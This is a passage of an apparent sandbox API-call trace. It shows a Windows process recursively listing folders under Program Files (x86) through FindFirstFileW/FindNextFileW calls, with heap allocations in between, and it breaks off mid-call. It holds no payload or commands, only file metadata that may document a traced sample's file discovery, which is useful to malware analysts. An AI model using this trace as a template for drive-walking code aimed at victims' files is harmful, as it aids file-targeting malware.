ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0259.194] GetProcessHeap () returned 0x550000 [0259.194] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e59891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e59891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555fa27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0 [0259.197] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.198] GetProcessHeap () returned 0x550000 [0259.198] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.198] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0259.198] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0259.198] GetProcessHeap () returned 0x550000 [0259.198] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.287] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.287] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.287] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.287] GetProcessHeap () returned 0x550000 [0259.287] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.287] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0259.288] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0259.288] GetProcessHeap () returned 0x550000 [0259.288] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.288] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b6c2483, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b6c2483, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.288] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0259.288] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0259.288] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.289] GetProcessHeap () returned 0x550000 [0259.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.289] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0259.289] GetProcessHeap () returned 0x550000 [0259.289] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.289] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.289] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.289] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.289] GetProcessHeap () returned 0x550000 [0259.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0b33d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f0b33d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb66c42a7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b8907f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x42b8907f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19c3730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdc01da, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4fdc01da, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7a92dc30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749e95b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5749e95b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c0b4b2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x59c0b4b2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4041c528, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4041c528, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb1a36320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53bc9d99, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53bc9d99, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7ad31980, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0259.290] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0259.291] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0259.291] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.291] GetProcessHeap () returned 0x550000 [0259.291] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.291] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0259.291] GetProcessHeap () returned 0x550000 [0259.291] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.291] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.291] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0259.291] GetProcessHeap () returned 0x550000 [0259.292] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.294] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.294] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: 